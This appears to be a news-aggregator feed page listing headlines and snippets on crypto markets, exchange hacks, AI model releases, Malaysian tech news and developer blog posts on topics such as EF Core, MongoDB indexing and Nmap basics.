    HBAR Rises 2.5% as Crypto Market Experiences Post-Thanksgiving Boost
    Hedera's token rallies on institutional flows as derivatives positioning shifts bullish across multiple timeframes.
    UK Government to Start Cracking Down on Crypto Tax Avoidance in January
    The U.K. released new guidelines that include rules for crypto exchanges to start providing the British tax authority with full customer information on all their digital assets.
    Bitcoin in Modest Rally Mode After Thanksgiving as December Fed Rate Gets Locked In
    Crypto-related stocks are higher across the board, led by the bitcoin miners.
    Bitcoin Dominance Defies Pattern During 30% Decline, Dropping Instead of Climbing
    A fast 36% reset for bitcoin marked by unusual dominance behavior and a market wide deleveraging.
    Out of Breadth: Crypto Daybook Americas
    Your day-ahead look for Nov. 28, 2025
    Crypto Markets Today: Bitcoin Rebounds, but Downtrend Still Looms
    Bitcoin crept back toward $92,000 as markets slowly recovered from last week’s heavy sell-off, but mounting resistance threatens to keep the broader downtrend intact.
    BlackRock’s Own Income Fund Boosts Bitcoin ETF Holdings 14%
    Strategic Income Opportunities Portfolio expands its allocation to the iShares Bitcoin Trust amid rising institutional demand.
    Crypto Exchange KuCoin's European Arm Wins MiCA License in Austria
    KuCoin EU obtained a Markets in Crypto Assets (MiCA) regulation license in Austria, allowing it to offer regulated services across the EEA.
    Upbit Reveals 5.9B-Won Corporate Loss in Latest Hack, Fully Reimburses Users
    Upbit said it reimbursed all 38.6 billion won in member assets from its reserves.
    Bitcoin and S&P 500 Year-End Bull Run Loading? Vol Metrics Say Yes
    Implied volatility indices tied to bitcoin and the S&P 500 have erased the recent spike, offering bullish price signals.
    Cryptos Steady as BTC Hits Key Fib Level, Traders See Room for $100K but Little Beyond
    Traders have quickly re-priced the macro backdrop as the probability of a 25 bps cut at the upcoming FOMC meeting has surged from 39% to almost 87% in a matter of days.
    South Korea Suspects North Korea-Linked Lazarus Behind $36M Upbit Hack
    On Thursday, South Korea's largest digital asset exchange, Upbit, suspended deposits and withdrawals after detecting unusual activity in the Solana network tokens.
    Solana Traders Hit by Months-Long Browser Malware That Skimmed Every Swap
    Wallet interfaces typically summarize instructions as a single swap, and the bundled transaction executes atomically—meaning users unknowingly sign off on both.
    DOGE Underperforms Majors as Support Failure Confirms Bearish Shift
    The $0.150 level is now a critical support point, with further declines likely if it is breached.
    XRP Faces Downside Risk as Historical Patterns Point to $1.50
    XRP needs to reclaim $2.20 and break $2.23–$2.24 to regain upward momentum, as technical indicators remain bearish.
    MegaETH’s $500M Pre-Deposit Turns Into a Full Rewind After Missteps Pile Up
    The issues began immediately at launch, when transactions failed because the contract contained an incorrect SaleUUID, requiring a 4-of-6 multisig update.
    Asia Morning Briefing: Bitcoin Steadies Near $90,000 Even as ETF Outflows Cap Upside
    Flowdesk and QCP see short covering and dip buying supporting BTC around $90,000, while prediction markets assign low odds of a push toward $96,000.
  • Open

    Anthropic says it solved the long-running AI agent problem with a new multi-session Claude SDK
    Agent memory remains a problem that enterprises want to fix, as agents forget some instructions or conversations the longer they run.  Anthropic believes it has solved this issue for its Claude Agent SDK, developing a two-fold solution that allows an agent to work across different context windows. “The core challenge of long-running agents is that they must work in discrete sessions, and each new session begins with no memory of what came before,” Anthropic wrote in a blog post. “Because context windows are limited, and because most complex projects cannot be completed within a single window, agents need a way to bridge the gap between coding sessions.” Anthropic engineers proposed a two-fold approach for its Agent SDK: An initializer agent to set up the environment, and a coding agent to …
    What to be thankful for in AI in 2025
    Hello, dear readers. Happy belated Thanksgiving and Black Friday! This year has felt like living inside a permanent DevDay. Every week, some lab drops a new model, a new agent framework, or a new “this changes everything” demo. It’s overwhelming. But it’s also the first year I’ve felt like AI is finally diversifying — not just one or two frontier models in the cloud, but a whole ecosystem: open and closed, giant and tiny, Western and Chinese, cloud and local. So for this Thanksgiving edition, here’s what I’m genuinely thankful for in AI in 2025 — the releases that feel like they’ll matter in 12–24 months, not just during this week’s hype cycle. 1. OpenAI kept shipping strong: GPT-5, GPT-5.1, Atlas, Sora 2 and open weights As the company that undeniably birthed the "generative AI" era with …
    Beyond math and coding: New RL framework helps train LLM agents for complex, real-world tasks
    Researchers at the University of Science and Technology of China have developed a new reinforcement learning (RL) framework that helps train large language models (LLMs) for complex agentic tasks beyond well-defined problems such as math and coding.  Their framework, Agent-R1, is compatible with popular RL algorithms and shows considerable improvement on reasoning tasks that require multiple retrieval stages and multi-turn interactions with tools.  The framework is built on a redefinition of the RL paradigm that takes into account the dynamic nature of agentic applications that require interacting with evolving environments and imperfect information. This framing is much more similar to real-world applications and can have important uses for agentic tasks in enterprise settings. Rethinking…
  • Open

    Tips from a Serial Career Changer with GitHub's Andrea Griffiths [Podcast #199]
    Today Quincy Larson interviews Andrea Griffiths, who taught herself programming using freeCodeCamp while working in construction. She moved to the US from Colombia when she was 17, and within 6 months she joined the US Army. She ran a chain of gyms b...  ( 5 min )
  • Open

    The Download: the mysteries surrounding weight-loss drugs, and the economic effects of AI
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What we still don’t know about weight-loss drugs Weight-loss drugs have been back in the news this week. First, we heard that Eli Lilly, the company behind Mounjaro and Zepbound, became the first…  ( 22 min )
    What we still don’t know about weight-loss drugs
    Weight-loss drugs have been back in the news this week. First, we heard that Eli Lilly, the company behind the drugs Mounjaro and Zepbound, became the first healthcare company in the world to achieve a trillion-dollar valuation. Those two drugs, which are prescribed for diabetes and obesity respectively, are generating billions of dollars in revenue for…  ( 24 min )
  • Open

    SarawakPass To Be Integrated With MyDigital ID In 2026
    Sarawak’s homegrown digital identity platform, SarawakPass, is set to be linked with the federal MyDigital ID system as part of a push toward a seamless national digital identification ecosystem. The move follows a memorandum of understanding (MOU) signed today on 28 November 2025 between the state’s government and the National Cyber Security Agency (Nacsa). State […] The post SarawakPass To Be Integrated With MyDigital ID In 2026 appeared first on Lowyat.NET.  ( 34 min )
    NVIDIA Rumoured To Stop Supplying VRAM With GPUs Amid Global Memory Shortage
    The ongoing global memory shortage appears to be hitting a new and unexpected victim: NVIDIA. The company has benefited massively from the AI boom, but a fresh set of rumours suggests it might now be feeling the squeeze from the very demand surge it helped drive. According to leaker Golden Pig Upgrade on Weibo, NVIDIA […] The post NVIDIA Rumoured To Stop Supplying VRAM With GPUs Amid Global Memory Shortage appeared first on Lowyat.NET.  ( 36 min )
    Euro NCAP Reveals Safety Rating Overhaul For 2026
    Euro NCAP (European New Car Assessment Programme), one of the most well-known independent vehicle safety organisations, has recently announced a series of updates to its testing procedures to better reflect modern driving conditions. These changes are set to take effect from 2026 onwards. According to the organisation, many of the updates are based on feedback […] The post Euro NCAP Reveals Safety Rating Overhaul For 2026 appeared first on Lowyat.NET.  ( 34 min )
    Intel Rumoured To Have Four Nova Lake CPUs With 144MB Of bLLC Cache
    It’s not an understatement to say that AMD’s 3D V-Cache technology has been a critical success and massive hit amongst gamers, the news of them committing seppuku on specific motherboard brands notwithstanding. Intel has clearly been feeling the sting of this, which is probably why there are now rumours of the brand making Nova Lake […] The post Intel Rumoured To Have Four Nova Lake CPUs With 144MB Of bLLC Cache appeared first on Lowyat.NET.  ( 34 min )
    AirDrop-Supported Quick Share Breaks WiFi On Pixel 10 Devices
    Last week, Google announced that it has added support for AirDrop to Quick Share, allowing for Android and iOS users to seamlessly transfer files. However, Pixel 10 users have quickly discovered a problem with the feature. More specifically, their devices would lose WiFi connectivity. On Google’s support forum, user JayMZ reported that after updating to […] The post AirDrop-Supported Quick Share Breaks WiFi On Pixel 10 Devices appeared first on Lowyat.NET.  ( 33 min )
    JPJ: MyDigital ID To Be Sole Login Method On App Starting February 2026
    The Road Transport Department (JPJ) has announced a major update to the login method for the MyJPJ platform. Starting 1 February 2026, all users aged 18 and above will be required to sign in via MyDigital ID. This transition will phase out the existing username-and-password login option for adult users. According to the department, the […] The post JPJ: MyDigital ID To Be Sole Login Method On App Starting February 2026 appeared first on Lowyat.NET.  ( 34 min )
    No More Approvals For Tier 1 And Tier 2 Data Centres In Johor
    Johor’s emergence as the nation’s data centre hub has taken a toll on the state’s water supply. Amid such concerns, the Johor government has declared that it will no longer approve Tier 1 and Tier 2 data centres. These data centres are categorised as high water users, guzzling roughly 200 times more water than Tier […] The post No More Approvals For Tier 1 And Tier 2 Data Centres In Johor appeared first on Lowyat.NET.  ( 35 min )
    Leapmotor Launches New B05 EV In China
    Leapmotor has officially launched its new B05 fully electric hatchback in its domestic market, where it is also known as the Lafa 5. The debut confirms details previously reported on both the exterior and interior, while also revealing the full variant lineup for China, which comprises five options: 515 Plus, 515 Pro, 515 Max, 605 […] The post Leapmotor Launches New B05 EV In China appeared first on Lowyat.NET.  ( 35 min )
    Samsung Pay Now Works For Online Purchases In Malaysia
    Samsung Pay now works with a broad network of e-commerce merchants in Malaysia, including Samsung’s own online store. Samsung enabled this through a collaboration with payment service provider Fiuu. The move aims to push Samsung’s wallet feature beyond walk-in stores and deeper into the fast-growing online shopping space, with Fiuu powering the backend that makes […] The post Samsung Pay Now Works For Online Purchases In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    LLM Debuts TuJu Highway Navigation App With Toll And R&R Info
    The Malaysian Highway Authority (LLM) has recently launched its answer to Waze and Google Maps. Developed in collaboration with Prosignal Consortium Sdn Bhd, the TuJu Highway Navigation App is available for download via the Apple App Store and the Google Play Store. As with any navigation app, TuJu comes with the usual fare of features. […] The post LLM Debuts TuJu Highway Navigation App With Toll And R&R Info appeared first on Lowyat.NET.  ( 35 min )
    Italian Retailer Accidentally Sold iPad Airs For US$17 And Now Wants Them Back
    Earlier this month, an Italian online retail store named MediaWorld made a rather epic snafu: It accidentally labelled the 13-inch iPad Air units it was selling for US$17 (~RM70), instead of the average RM3,699 that it typically cost. Naturally, several eagle-eyed customers noticed the pricing and swooped in to snag their unit(s) of the 13-inch […] The post Italian Retailer Accidentally Sold iPad Airs For US$17 And Now Wants Them Back appeared first on Lowyat.NET.  ( 35 min )
    Another MSI RTX 5090 12VHPWR Ports Burns Out, This Time Fusing Itself To The GPU
    Another month, another melted 12VHPWR adapter on an RTX 5090 and more specifically, an MSI RTX 5090. In this most recent tale of burnt-out adapter, the head didn’t just fizzle: it fused together with the power port of the GPU. The post of the affected MSI RTX 5090 was first posted on Reddit by Redditor […] The post Another MSI RTX 5090 12VHPWR Ports Burns Out, This Time Fusing Itself To The GPU appeared first on Lowyat.NET.  ( 35 min )
    Steam Hosts First-Ever Black Friday Sale; Discounts Galore
    Valve is hosting its Black Friday sales on Steam, making it the first time the digital distributor and video game market has ever had a sale on said day. To be fair, it does put a very public disclaimer in the form of an asterisk on its call-to-arms for gamers to shop. Whatever the case, […] The post Steam Hosts First-Ever Black Friday Sale; Discounts Galore appeared first on Lowyat.NET.  ( 34 min )
    MAE App: Celebrating Five Years Of Digital Banking Excellence
    Ever since its launch, Maybank’s MAE app has been helping Malaysians take care of all their digital banking needs. And for five years and counting, the banking service has grown exponentially, keeping up with both the needs and wants of its customers. Since its inception to today, the app now hosts a wide variety of […] The post MAE App: Celebrating Five Years Of Digital Banking Excellence appeared first on Lowyat.NET.  ( 40 min )

  • Open

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  • Open

    Designing High-Performance Fintech SaaS with Redis and CDNs
    Designing High-Performance Fintech SaaS with Redis and CDNs A practical, junior-friendly guide using AWS, Kubernetes, and Nginx When I talk to teams building fintech or SaaS products, the conversation usually starts with features: “We need virtual cards.” “We need real-time notifications.” “We need a new reporting dashboard.” But most users only really notice one thing: speed. A payment confirmation screen that spins for 7–8 seconds, A dashboard that feels sluggish on mobile data, An app that occasionally “hangs” during peak hours. In finance, that’s not just annoying – it quietly erodes trust. If the app feels slow or unreliable, users wonder whether their money is safe, not whether your Kubernetes manifests are clean. In this article, I’ll walk through how I think about performance in…  ( 14 min )
    GA4 Custom Segments That Actually Matter: 7 Configurations Most Marketers Overlook
    Here's what I keep seeing: marketers celebrating their GA4 migration like they've crossed some finish line, when really they've just shown up to the starting blocks. The default segments Google hands you? They're fine for surface-level reporting. But if you're still relying on "Purchasers" and "New Users" to drive your strategy in late 2025, you're basically reading the CliffsNotes and wondering why you don't understand the plot. The real power in GA4 lives in custom segments. Not the ones everyone builds (we get it, you can segment mobile vs desktop). The ones that expose actual behavior patterns—the kind that make you rethink your entire funnel strategy at 11 PM on a Tuesday. I've spent the last year building, breaking, and rebuilding custom segments for clients across e-commerce, SaaS, …  ( 11 min )
    Moving from Process to Subprocess
    For many years, I've used Process to call Terminal commands from my macOS apps. Process is an old technology, formerly known as NSTask. It works, but it's complicated to set up and it can have issues. The Swift language team have now published a modern alternative called Subprocess. Since I'm currently using Process in my Man Reader app and in my macOS Apps Step by Step book, I thought it was time to assess the new option and see if I should swap to it. I started by creating a sample project using the macOS App template. Then I added the package dependency by searching for https://github.com/swiftlang/swift-subprocess. This also adds swift-system which the ReadMe says provides idiomatic interfaces to system calls and low-level currency types. Next, I removed the App Sandbox in Target -> Si…  ( 11 min )
    How Grok Works Under the Hood: Inside xAI’s Infrastructure and Training Logic
    If you only meet Grok as the witty chatbot inside X, it’s easy to forget there’s a very serious, very expensive machine humming behind the sarcasm. Under that rebellious personality sits a frontier-scale training stack built on tens of thousands of GPUs, a custom JAX + Rust + Kubernetes system, and a data engine that continuously ingests both the open web and the firehose of X posts. This article takes a product-neutral, infrastructure-first look at Grok: how the model family is structured, how the training pipeline works, what sort of cluster you need to train something like Grok-1, and how real-time X integration actually plugs into the serving stack. Think of it as a systems engineer’s tour of xAI’s choices—similar in spirit to Macaron’s deep technical breakdowns of GPT, Claude and Gemi…  ( 15 min )
    Unveiling the Hidden Geometry That Supercharges Neural Nets
    Unveiling the Hidden Geometry That Supercharges Neural Nets Ever wonder how a simple neural network can learn such complex patterns? Do seemingly random networks learn to identify objects regardless of their size or location? What if the secret lies in a fundamental, self-organizing principle that automatically encodes multi-scale understanding into the network itself? Imagine a blueprint for the universe, where every location reflects information about all locations nearby. Now, picture that blueprint spontaneously forming within your neural network as it trains. Recent discoveries suggest that neural networks, even relatively simple ones, spontaneously develop a multi-scale geometric structure during the learning process. This structure, a kind of inherent map, allows them to efficient…  ( 7 min )
    I Built an MCP Server That Publishes Blogs Automatically (And This Post Was Published Through It)
    Introduction For the last few weeks, I've been experimenting with something simple on the surface but surprisingly difficult in execution: Publishing a blog post to multiple platforms from inside an AI agent. Not via API scripts. Not via UI automation. Not via manual copy-paste. I'm talking about a true "write once → publish everywhere" workflow powered by MCP (Model Context Protocol). And the best part? This exact blog post you're reading right now was published through my MCP server. If you write blogs regularly—especially technical blogs—you probably deal with this: One version for Hashnode One version for Dev.to Maybe a copy for your personal site Slight formatting differences Lots of copy-paste And sometimes… forgetting to post on one platform For years, nothing has deeply solved th…  ( 7 min )
    Timepicker-UI v4.0.0 - Five Years of Learning, One Major Rewrite
    I didn't rewrite the library because it was broken - I rewrote it because I outgrew it. Five years. That's how long I've been maintaining timepicker-ui - a framework-agnostic time picker library that started as my "learn TypeScript properly" project. Last week, I shipped v4.0.0, a complete architectural rewrite that breaks almost everything. And honestly? It feels great. I didn't want to "play with TypeScript" - I wanted to learn it for real. And the fastest way to do that is to build something painful enough to expose all your mistakes. A time picker was perfect: Native was inconsistent across browsers, Material Design's version was locked to Google's ecosystem, and the component was small enough to finish but complex enough to teach real lessons. TypeScript caught …  ( 10 min )
    What Is xAI Grok (1–4) — And How Could Grok 5 Reshape the AI Model Landscape?
    If you follow frontier AI, you’ve probably noticed that xAI’s Grok has gone from “edgy Twitter chatbot” to a serious challenger to GPT, Gemini and Claude in barely two years. Grok now powers the AI assistant on X, appears in cloud providers’ model catalogs, and even has an ultra-premium “Heavy” tier aimed at power users and enterprises. At the same time, rumors and early reporting around “Grok 5” talk about a step-change in reasoning, multi-agent orchestration and truth-seeking features that could matter a lot if you’re choosing models for products in 2026. Grok is xAI’s family of large language models and the chatbot built on top of them, originally pitched as an AI with a “Hitchhiker’s Guide to the Galaxy” attitude—more irreverent, more willing to answer controversial questions, and dee…  ( 14 min )
    Testing PlagiatKontroll Against Modern LLM Texts: Hur bra står verktyget sig i AI-eran?
    En ny verklighet för textanalys i 2025 Utvecklingen av moderna språkmodeller har skapat en helt ny verklighet för alla som arbetar med texter. Från akademiska miljöer till marknadsföringsbyråer och journalistiska redaktioner finns samma grundläggande fråga: hur avgör man om en text verkligen är skriven av en människa? Det som för tio år sedan var en fråga om att hitta kopierade stycken har idag blivit en kamp mot alltmer sofistikerade LLM-system som kan formulera sig flytande, anpassa tonfall och till och med efterlikna mänsklig variation. I denna artikel görs en fördjupad analys av hur PlagiatKontroll klarar sig mot dessa nya typer av texter och hur den praktiska jämförelse av PlagiatKontroll LLM tests visar verktygets styrkor och begränsningar. Varför AI-texter utmanar traditionella verk…  ( 8 min )
    Configure continuous integration by using Azure Pipelines
    Continuous Integration (CI) enables development teams to automatically build, test, and validate application changes whenever code is committed to a repository. In Azure environments, Azure Pipelines provides a robust CI service that integrates seamlessly with platforms like GitHub and Azure Repos. By configuring CI with Azure Pipelines, teams can automate the process of building container images, run tests, and securely pushing updated images to Azure Container Registry (ACR). This automated workflow ensures consistent deployments, reduces manual errors, and supports a scalable DevOps lifecycle for applications running on Azure Container Apps. Configure Pipeline1 to use the self-hosted agent pool Open a browser window, navigate to https://dev.azure.com, and then open your Azure DevOps org…  ( 8 min )
    How I host Nuxt apps on a $5 VPS with "Vercel-like" DX
    I love Vercel. The developer experience (DX) of connecting your Github, choosing your repo, and clicking deploy is magical. But I have a lot of side projects. And as soon as I need a few more resources, want to kick off a background worker, hit a bandwidth limit, the "Vercel Tax" kicks in. The pricing jumps significantly compared to the raw cost of compute. As we all know, Vercel is one big AWS wrapper. On the other hand, a $5 DigitalOcean or especially Hetzner VPS is incredibly cheap and powerful, but nobody wants to move from Vercel to this, as you've now got to deal with configuring Nginx, setting up Let's Encrypt, patching security updates, rolling automated deployments, and creating backups. I wanted the Vercel experience, but on my own hardware, and the current tools just didn't cut…  ( 7 min )
    EF Core Pending Model Changes — From Annoying Warning to Schema Integrity Guard
    Most .NET developers meet this error at least once: An error was generated for warning 'Microsoft.EntityFrameworkCore.Migrations.PendingModelChangesWarning': The model for context 'ApplicationDbContext' has pending changes. Add a new migration before updating the database. You’re just running: dotnet ef database update …and EF Core essentially answers: “Your C# model and your migrations are out of sync. I refuse to update the database until you fix that.” This post turns that frustrating moment into an architectural superpower: You’ll really understand where this warning comes from. You’ll know when to create a migration and when to revert code instead. You’ll see how to safely reset dev databases. You’ll even see how to disable the warning (and why you almost never should). We’ll use EF…  ( 13 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less CinemaSins takes on Fantastic Four, pointing out all the “sinstastic” moments (even though it’s “not bad” overall) in under 20 minutes—courtesy of sponsor BetterHelp, which offers a discount for your first month of therapy. They also shout out their website, YouTube channels (@TVSins @commercialsins @cinemasinspodcastnetwork), poll, Patreon, Discord, Reddit, Instagram, TikTok, and introduce the writing team behind the video. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
    John Carter – Caravan Of Garbage kicks off a week-by-week deep dive into Disney’s biggest live-action misfires, starting with 2010’s Nic Cage vehicle The Sorcerer’s Apprentice. With Marvel and Star Wars on shaky ground and new titles like Wish and Elio failing to hit, the hosts frame Disney’s current slump as just the latest chapter in its long history of massive flops. For bonus content—early videos, extended audio editions, podcasts and more—head to bigsandwich.co. You can also catch movie commentaries and game let’s-plays, follow James (@mrsundaymovies) and Maso (@wikipediabrown) on Twitter, or support the show on Patreon. Watch on YouTube  ( 6 min )
    [Boost]
    What Is HATEOAS? A Complete Guide + Build Your Own App Using Hypermedia 🔥 Anthony Max ・ Nov 27 #webdev #javascript #programming #opensource  ( 5 min )
    I Hired AWS SAs for 5 Years. Now That I've Left, I Can Tell You the Truth
    tl;dr: I spent five years interviewing SA candidates at AWS. Comprehensive AWS training doesn't correlate with hire decisions. Production talk and clear thinking do. Now that I'm external, I can say it plainly: most interview prep is wasted effort. I was a Principal SA at AWS for two years. I sat on hiring panels as a Manager after that for three years. I made hire/no-hire decisions. I watched hundreds of candidates prepare the wrong way and then blame themselves for not studying hard enough. Now that I've left, I can say this plainly without corporate-speak: your comprehensive AWS study guide is doing more harm than good. We don't care if you memorized the Well-Architected Framework. We didn't care if you studied all 200 AWS services. We cared if you could think clearly about tradeoffs, d…  ( 12 min )
    Getting Started With Nmap: A Beginner-Friendly Guide
    If you’re getting into cybersecurity, ethical hacking, or network engineering, you’ll quickly hear the name Nmap. When I started learning Nmap, it felt overwhelming - so many flags, so many scan types, so many outputs. At the same time, I’m building a small tool in Go that works like Nmap, which forced me to understand what Nmap actually does behind the scenes. This article is a simple introduction to Nmap for beginners — no assumptions, no jargon overload. Nmap (Network Mapper) is a free and open-source tool used to discover hosts, open ports, running services, OS information, and much more. Think of Nmap as a "network Sherlock Holmes" — it asks questions like: Who is online? Which ports are open? What services are running? What OS might this machine be using? Even if you’re not a pentest…  ( 8 min )
    What Is the Best AI Model in 2025? Grok 4 vs ChatGPT (GPT-5.1) vs Gemini 3.0 pro vs Claude Opus 4.5
    If 2023 was the year AI went mainstream, 2025 is the year the “one model to rule them all” myth finally broke. Instead of a single obvious winner, we now have a crowded frontier: OpenAI’s GPT-5.1 powering ChatGPT, Google’s Gemini 3 Pro running across Search and the Gemini app, Anthropic’s new Claude Opus 4.5, and xAI’s Grok 4 promising “the most intelligent model in the world.” Each vendor declares their model the smartest, safest, or most “agentic” — and the benchmarks look like a bowl of alphabet soup: HLE, ARC-AGI-2, SWE-Bench, GPQA, OSWorld. So if you’re a builder, founder, or power user, which one is actually the best AI model in 2025? The short answer is: it depends less on IQ points and more on what you’re trying to ship. The longer answer — and the goal of this article — is to sho…  ( 14 min )
    [Boost]
    What Is HATEOAS? A Complete Guide + Build Your Own App Using Hypermedia 🔥 Anthony Max ・ Nov 27 #webdev #javascript #programming #opensource  ( 5 min )
    Added a new example of a HATEOAS application: https://github.com/hmpl-language/examples
    GitHub - hmpl-language/examples: List of sample applications on HMPL List of sample applications on HMPL. Contribute to hmpl-language/examples development by creating an account on GitHub. github.com  ( 6 min )
    Obedient Checkouts
    An autopsy of OpenAI's shopping integration: How humans chose to fine-tune a $4B neural network for Walmart checkouts while the actual infrastructure still breaks. AI isn't taking jobs — people are using it to fire people. Names, dates, receipts. Time of Death: September 29, 2025 THE BODY On September 29, 2025, OpenAI and Stripe launched the "Agentic Commerce Protocol." [1] Not a cure for disease. Not a breakthrough in education. A shopping cart. Within weeks, Walmart — the nation's largest retailer — Etsy, and over a million Shopify merchants (Glossier, SKIMS, Spanx, Vuori, Steve Madden) signed on. [2] Eight hundred million ChatGPT users could now buy directly in chat. [3] CEO Doug McMillon called it the end of "a search bar and a long list of item responses." [4] Sam Altman, cofounder of…  ( 9 min )
    How I Used Claude Code to Speed Up My Shell Startup by 95%
    My terminal was sluggish. Every time I opened a new tab, there was this annoying delay before I could start typing. I decided to dig into it, and with Claude Code's help, I went from a 770ms startup time to just 40ms. That's a 19x improvement. It wasn't that I accumulated too much tooling. Most things I have in my .zshrc, I needed, but each thing I tacked on added to my shell startup time. I honestly hadn't looked into this and just lived with it. Then, John Lindquist posted this the other day so I figured, let Claude Code speed it up for me. // Detect dark theme var iframe = document.getElementById('tweet-1993037322984866168-791'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1993037322984866168&theme=dar…  ( 10 min )
    Businesses were losing customers to messy bookings — so I built Rezzervo
    A few months ago, I was at a barbershop and noticed something important: three customers left because their appointments were mixed up. It made me realize how many businesses lose time and energy simply because their booking tools are not clear or automated. That moment gave me the idea to build something better. Today, I’m happy to share that Rezzervo is live — a clean and modern booking system designed to make scheduling easier for everyone. Rezzervo supports: • Analytics dashboard It helps business stay on track, stay organized, and offer a smooth booking experience without extra effort. If you know someone who could use a system like this, feel free to share it with them. You can also go and try it out for free on: https://rezzervo.com More helpful features are on the way. 🚀  ( 6 min )
    The Frontend Developer Roadmap: Skills, Values, and Tools to Become a Competitive Engineer in 2025/2026
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    ICYMI - pre:Invent announcements 2025
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    CKS Notes - TLS
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    AI Ranking Tools
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    The 2025 Dev Edge
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    Serilog: Get the last log file
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    AI Search Ranking Tools
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    Automate Open Graph Image Generation for Your Blog Posts
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    gRPC, Dependency Injection with Uber Fx, and Hexagonal Architecture in Go
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    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
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    Advanced Techniques for Generating Test Data Using make-ldif in ForgeRock DS
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    Stop Malware at the Door: Automated S3 File Scanning with AWS GuardDuty
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    Title: Edge AI Showdown: FPGA vs GPU - A Battle for Real-Tim
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    🧪 HexSpeak — The Language That Turns Hex Into readable “Magic Words”
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    Why a 4-Day Workweek Just Makes Sense
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    🐔 Chicken — The Language Where Every Keyword Is “chicken"
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    From Idea to Launch: A Business Guide to Building Successful AI Products
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    Aheui — The Korean Hangul-Based Programming Language
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    Perplexity Introduces AI Assistants With Memory for Enhanced PersonalizationAcross Conversations
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    Day 4/30: The Heart of Terraform – State Files & Remote Backends 🧠🗄️
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    🧩 Brainfuck — The 8-Command Language Built to Hurt Programmers
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    😂 LOLCODE — A Meme Programming Language That Looks Like Internet Chatspeak
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    🧬 Piet — The Programming Language Made of Abstract Art
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    Why Studying the Turing Machine Changed How I See AI And Why Every New AI Engineer Should Revisit It
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    How can you find experts to build a new financial technology product?
    Building a new financial technology product is not just about hiring “good developers”. You need people who understand both software and finance, security and regulation, user experience and real world money flows. Many founders and product leaders realise this only after they have already written code and hit first obstacles with compliance, integrations or performance. So how can you actually find the right experts to build a new fintech product, and how do you evaluate whether they are a good fit? Before you look for experts, it helps to decide what kind of expertise you really need. Clarify a few points: What type of product are you building? Payments, lending, wealth, accounting, trading, insurance? Who is the primary user? Consumers, SMEs, enterprises, internal teams? Which markets a…  ( 9 min )
    MongoDB Index Intersection (and PostgreSQL Bitmap And)
    You won’t always have a perfect index for every query, but may have have single-field indexes for each filter. In such cases, PostgreSQL can use Bitmap Scan to combine these indexes. MongoDB is also capable of merging multiple index bounds in a single scan or using index intersection to combine separate scans. Yet, the MongoDB query planner rarely selects index intersection. Let’s look at the reasons behind this. TL;DR: if you think you need index intersection, you probably need better compound indexes. I create a collection with one hundred thousand documents and two fields, with an index on each: let bulk = []; for (let i = 0; i < 100000; i++) { bulk.push({ a: Math.floor(Math.random()*100), b: Math.floor(Math.random()*100) }); } db.demo.inse…  ( 15 min )
    🧪 05AB1E — Tiny Language, Big Chaos
    05AB1E 05AB1E is a code-golf programming language created around 2015 by Adnan. The goal of the language is to make programs as short as possible, even if the code looks strange or unreadable. It uses a stack-based execution model and many operations are represented by single Unicode characters. Language Type: Code Golf Difficulty: Hard Typing: Dynamic Execution Style: Stack-based / Implicit output Example (Hello World): "Hello, World!" This prints automatically because the language assumes output. How It Works: Most instructions are one character. The language uses a stack instead of variables. Printing is automatic, so you don’t need print statements. Where to Run: You can run 05AB1E at TIO.run online. Should You Learn It? Useful for jobs: No Useful for fun and challenges: Yes Good for readable code: No Summary: 05AB1E exists for people who enjoy writing the shortest possible solution. It’s fast, clever, and chaotic. The more you use it, the stranger it feels — but that’s the point.  ( 6 min )
    Nano-Banana Pro: Prompting Guide & Strategies
    Nano-Banana Pro: Prompting Guide & Strategies Nano-Banana Pro is a significant leap forward from previous generation models, moving from "fun" image generation to "functional" professional asset production. It excels in text rendering, character consistency, visual synthesis, world knowledge (Search), and high-resolution (4K) output. Following the developer guide on how to get started with AI Studio and the API, this guide covers the core capabilities and how to prompt them effectively. Nano-Banana Pro is a "Thinking" model. It doesn't just match keywords; it understands intent, physics, and composition. To get the best results, stop using "tag soups" (e.g., dog, park, 4k, realistic) and start acting like a Creative Director. 1. Edit, Don't Re-roll Example: "That's great, but change th…  ( 12 min )
    .NET Repository + Unit of Work — From Overused Pattern to Strategic Weapon
    Most .NET developers hear about Repository and Unit of Work early in their careers. At first they feel like magic: “I can swap databases by changing only one class.” “My controllers don’t know anything about EF Core.” “Testing becomes super easy because I just mock IUserRepository.” Then reality hits: Repositories become anemic pass-throughs over DbSet. Business rules leak into controllers and handlers. Every project invents yet another IGenericRepository. Transactions are either everywhere or nowhere. This post is your expert-level guide to bringing Repository + Unit of Work back as intentional architectural tools, not cargo-cult patterns. We’ll use EF Core and C# 12/13 style code, but the principles apply to any modern .NET app. Repository & Unit of Work in One Sentence Each Why D…  ( 12 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest takedown of the wild K-Pop action flick, where they gleefully rack up “sins” for every plot hole, cheesy line, and over-the-top stunt—all while reminding you how much fun the movie actually is. If you’ve ever wondered what it sounds like when a team of sin-counting demon hunters goes to work, this video’s got you covered. Hungry for more? Check out their other YouTube channels (TVSins, CommercialSins, CinemaSins Podcast Network), swing by their Linktree for updates, fill out their “sinful” poll, or support the small-but-mighty CinemaSins squad on Patreon. You can also dive into discussions on Discord and Reddit, or follow the writers and the official CinemaSins crew on Twitter, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
